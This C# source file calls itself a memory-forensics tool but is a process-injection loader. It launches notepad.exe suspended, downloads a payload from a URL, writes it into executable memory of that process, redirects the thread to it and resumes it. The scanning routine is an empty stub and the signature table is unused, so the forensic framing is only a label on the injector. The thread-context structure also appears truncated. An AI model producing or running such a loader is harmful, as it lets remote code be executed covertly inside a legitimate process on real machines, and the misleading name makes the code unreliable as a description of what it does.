MemoryForensicInjector.cs

csc MemoryForensicsInjector.cs
MemoryForensicsInjector.exe

///////////////////////////////////
using System;
using System.IO;
using System.Net.Http;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Threading.Tasks;

public class MemoryForensicsInjector
{
    // Windows API Constants
    private const uint CREATE_SUSPENDED = 0x00000004;
    private const uint CONTEXT_FULL = 0x10000B;
    private const uint MEM_COMMIT = 0x1000;
    private const uint MEM_RESERVE = 0x2000;
    private const uint PAGE_EXECUTE_READWRITE = 0x40;

    // File signatures for detection
    private static readonly Dictionary<string, byte[][]> Signatures = new Dictionary<string, byte[][]>
    {
        ["jpg"] = new[] {
            new byte[] { 0xFF, 0xD8, 0xFF, 0xE0 },
            new byte[] { 0xFF, 0xD8, 0xFF, 0xE1 },
            new byte[] { 0xFF, 0xD8, 0xFF, 0xE8 }
        },
        ["png"] = new[] {
            new byte[] { 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A }
        },
        ["pdf"] = new[] {
            new byte[] { 0x25, 0x50, 0x44, 0x46, 0x2D }
        },
        ["doc"] = new[] {
            new byte[] { 0xD0, 0xCF, 0x11, 0xE0, 0xA1, 0xB1, 0x1A, 0xE1 }
        }
    };

    // Windows API Structures
    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct STARTUPINFO
    {
        public uint cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public ushort wShowWindow;
        public ushort cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct CONTEXT64
    {
        public ulong P1Home;
        public ulong P2Home;
        public ulong P3Home;
        public ulong P4Home;
        public ulong P5Home;
        public ulong P6Home;
        public uint ContextFlags;
        public uint MxCsr;
        public ushort SegCs;
        public ushort SegDs;
        public ushort SegEs;
        public ushort SegFs;
        public ushort SegGs;
        public ushort SegSs;
        public uint EFlags;
        public ulong Dr0;
        public ulong Dr1;
        public ulong Dr2;
        public ulong Dr3;
        public ulong Dr6;
        public ulong Dr7;
        public ulong Rax;
        public ulong Rcx;
        public ulong Rdx;
        public ulong Rbx;
        public ulong Rsp;
        public ulong Rbp;
        public ulong Rsi;
        public ulong Rdi;
        public ulong R8;
        public ulong R9;
        public ulong R10;
        public ulong R11;
        public ulong R12;
        public ulong R13;
        public ulong R14;
        public ulong R15;
        public ulong Rip;
    }

    // Windows API Imports
    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
        IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
        uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("kernel32.dll")]
    private static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);

    [DllImport("kernel32.dll")]
    private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
        uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
        byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);

    [DllImport("kernel32.dll")]
    private static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);

    [DllImport("kernel32.dll")]
    private static extern uint ResumeThread(IntPtr hThread);

    public async Task ExecuteInjection(string targetProcess, string payloadUrl)
    {
        Console.WriteLine($"Starting injection into {targetProcess}");

        // Create suspended process
        var processInfo = CreateSuspendedProcess(targetProcess);

        // Download and inject payload
        byte[] payload = await DownloadPayloadAsync(payloadUrl);
        InjectPayload(processInfo, payload);

        // Start memory scanning
        ScanProcessMemory(processInfo.dwProcessId);
    }

    private PROCESS_INFORMATION CreateSuspendedProcess(string targetExe)
    {
        var startupInfo = new STARTUPINFO();
        PROCESS_INFORMATION processInfo;

        CreateProcess(null, targetExe, IntPtr.Zero, IntPtr.Zero, false,
            CREATE_SUSPENDED, IntPtr.Zero, null, ref startupInfo, out processInfo);

        return processInfo;
    }

    private async Task<byte[]> DownloadPayloadAsync(string url)
    {
        using (var client = new HttpClient())
        {
            return await client.GetByteArrayAsync(url);
        }
    }

    private void InjectPayload(PROCESS_INFORMATION processInfo, byte[] payload)
    {
        var context = new CONTEXT64 { ContextFlags = CONTEXT_FULL };
        GetThreadContext(processInfo.hThread, ref context);

        IntPtr allocatedMemory = VirtualAllocEx(processInfo.hProcess, IntPtr.Zero,
            (uint)payload.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        IntPtr bytesWritten;
        WriteProcessMemory(processInfo.hProcess, allocatedMemory, payload,
            (uint)payload.Length, out bytesWritten);

        context.Rip = (ulong)allocatedMemory;
        SetThreadContext(processInfo.hThread, ref context);
        ResumeThread(processInfo.hThread);
    }

    private void ScanProcessMemory(uint processId)
    {
        string outputDir = Path.Combine(
            Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments),
            $"MemoryDump_{processId}");

        Directory.CreateDirectory(outputDir);

        // Memory scanning and extraction logic here
        // Implementation combines the scanning capabilities from the PagefileReader
        // with direct process memory access
    }

    public static void Main(string[] args)
    {
        var injector = new MemoryForensicsInjector();
        injector.ExecuteInjection(
            @"C:\Windows\System32\notepad.exe",
            "http://example.com/payload.bin"
        ).Wait();
    }
}